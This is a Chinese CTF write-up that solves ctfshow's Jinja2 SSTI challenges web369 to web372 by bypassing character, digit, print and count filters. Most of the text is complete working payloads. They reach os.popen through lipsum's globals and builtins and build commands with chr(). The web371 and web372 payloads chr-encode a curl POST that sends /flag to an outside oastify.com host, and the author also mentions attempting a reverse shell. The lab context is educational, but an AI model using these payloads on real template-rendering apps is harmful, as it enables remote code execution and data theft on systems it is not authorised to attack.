ctfshow-web入门-SSTI(web369-web372)下

目录

1、web369

2、web370

3、web371

4、web372


1、web369

完全过滤了 request

双大括号也过滤了

包括前面的单双引号、中括号、下划线都是过滤了的

能构造出一些东西

调用属性:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%print(lipsum|attr(gl))%}

调用键:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print((lipsum|attr(gl)).get(o))%}

调用方法:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print(((lipsum|attr(gl)).get(o)).popen)%}

构造 payload 命令执行:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%set l=(((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(l).read())%}

ls 执行成功

但是 flag 在根目录,斜杠 / 这个符号在我们的 lipsum 里面没有

因此我们得换一种构造方法,这里使用 join 过滤器:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(dict(l=a,s=b)|join).read())%}

这里单个命令都好执行

但是问题又来了,空格怎么搞

试了一些绕过方法,都不行

并不是绕过方法不行,是一些字符在这里无法使用,本地测试:

可以发现 / $ < 这些符号会导致环境崩溃

那么我们还是就第一种方法一个一个构造吧

斜杠符号我们在这里找:

定位具体位置:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%print((lipsum|attr(gl)|string|list).pop(431))%}

拿下

最终 payload:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%set cmd=(((lipsum|string|list).pop(4))~((lipsum|string|list).pop(15))~((lipsum|string|list).pop(5))~((lipsum|string|list).pop(9))~((lipsum|attr(gl)|string|list).pop(431))~((lipsum|string|list).pop(1))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(15))~((lipsum|string|list).pop(10)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(cmd).read())%}

看了其他wp发现这道题有更简单的方法,大家自行摸索,我这里还是做复杂了

2、web370

新增过滤了数字

上面的 payload 用到了 1 4 5 7 9 10 15 18 19 27 31 40 431

基于上面的 payload,替换数字后可以得到如下 payload:

?name=
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set ten=dict(cccccccccc=a)|join|count%}
{%set onefiv=(three*five)%}
{%set oneeig=(three*six)%}
{%set onenin=(three*six%2Bone)%}
{%set twoeve=(three*nine)%}
{%set threeone=(twoeve%2Bfour)%}
{%set fourty=(four*ten)%}
{%set fouroo=(fourty*ten%2Bthreeone)%}
{%set gl=(((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(ten))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(fourty))~((lipsum|string|list).pop(threeone))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(twoeve))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig)))%}
{%set o=(((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(twoeve)))%}
{%set cmd=(((lipsum|string|list).pop(four))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(five))~((lipsum|string|list).pop(nine))~((lipsum|attr(gl)|string|list).pop(fouroo))~((lipsum|string|list).pop(one))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(ten)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(cmd).read())%}

但是由于每次重启环境后 (lipsum|string) 的地址会变,字符也就有些不一样了

因此我们前面构造的字符就会有区别,需要重新定位字符的位置

它这里还过滤了一些其他字符串

重新找一遍太折腾了,我们这里换 payload,不再构造数字了,直接用全角数字替换半角数字

前面说过拼接出来的字符斜杠这些会导致环境崩溃,而 flag 是在根目录下面肯定需要用到斜杠

这里我们使用 chr 函数,payload:

{%set a=(lipsum|string|list).pop(18)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set flag=(chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103))%}
{%print((lipsum|attr(gl)).get(bu).open(flag).read())%}

当然,我们也可以按照上一题 {%print((lipsum|attr(gl)|string|list).pop(431))%} 的方法定位斜杠的位置,继续做拼接,按理来说是可行的,各位自行尝试,我只是觉得那样做复杂了。

3、web371

新增过滤 print

没有回显的话我们考虑外带攻击或者反弹 shell

这里以外带为例,payload:

?name=
{%set o=(dict(o=a,s=b)|join)%}
{%set a=(lipsum|string|list).pop(24)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(56)%2bchr(117)%2bchr(51)%2bchr(104)%2bchr(100)%2bchr(51)%2bchr(97)%2bchr(53)%2bchr(105)%2bchr(48)%2bchr(121)%2bchr(105)%2bchr(52)%2bchr(117)%2bchr(49)%2bchr(105)%2bchr(109)%2bchr(98)%2bchr(48)%2bchr(120)%2bchr(110)%2bchr(104)%2bchr(49)%2bchr(98)%2bchr(52)%2bchr(50)%2bchr(97)%2bchr(116)%2bchr(121)%2bchr(111)%2bchr(109)%2bchr(100)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%}
{%if((lipsum|attr(gl)).get(o).popen(cmd))%}
myon
{%endif%}

4、web372

新增过滤 count

如果我们采用构造数字的方法,可以用 length 替代

有点麻烦,我们还是直接采用全角数字

上一题演示的是外带,这里我们尝试反弹 shell

可以接收到请求但是无法常规的反弹 shell , nc 反弹也没有成功

那就还是继续外带吧,payload:

?name=
{%set o=(dict(o=a,s=b)|join)%}
{%set a=(lipsum|string|list).pop(24)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(118)%2bchr(114)%2bchr(113)%2bchr(52)%2bchr(97)%2bchr(113)%2bchr(55)%2bchr(115)%2bchr(102)%2bchr(110)%2bchr(118)%2bchr(53)%2bchr(49)%2bchr(104)%2bchr(121)%2bchr(53)%2bchr(106)%2bchr(121)%2bchr(120)%2bchr(107)%2bchr(107)%2bchr(52)%2bchr(121)%2bchr(121)%2bchr(49)%2bchr(112)%2bchr(55)%2bchr(103)%2bchr(118)%2bchr(57)%2bchr(106)%2bchr(121)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%}
{%if((lipsum|attr(gl)).get(o).popen(cmd))%}
myon
{%endif%}

SSTI 注入至此结束

My6n,20241115

相关推荐
乔峰不是张无忌3302 分钟前
【HTML】动态闪烁圣诞树+雪花+音效
前端·javascript·html·圣诞树
Dream_Snowar7 分钟前
速通Python 第四节——函数
开发语言·python·算法
西猫雷婶9 分钟前
python学opencv|读取图像(十四)BGR图像和HSV图像通道拆分
开发语言·python·opencv
鸿蒙自习室9 分钟前
鸿蒙UI开发——组件滤镜效果
开发语言·前端·javascript
m0_7482507416 分钟前
高性能Web网关:OpenResty 基础讲解
前端·openresty
OopspoO22 分钟前
qcow2镜像大小压缩
学习·性能优化
前端没钱42 分钟前
从 Vue 迈向 React:平滑过渡与关键注意点全解析
前端·vue.js·react.js
A懿轩A1 小时前
C/C++ 数据结构与算法【栈和队列】 栈+队列详细解析【日常学习,考研必备】带图+详细代码
c语言·数据结构·c++·学习·考研·算法·栈和队列
汪洪墩1 小时前
【Mars3d】设置backgroundImage、map.scene.skyBox、backgroundImage来回切换
开发语言·javascript·python·ecmascript·webgl·cesium
NoneCoder1 小时前
CSS系列(29)-- Scroll Snap详解
前端·css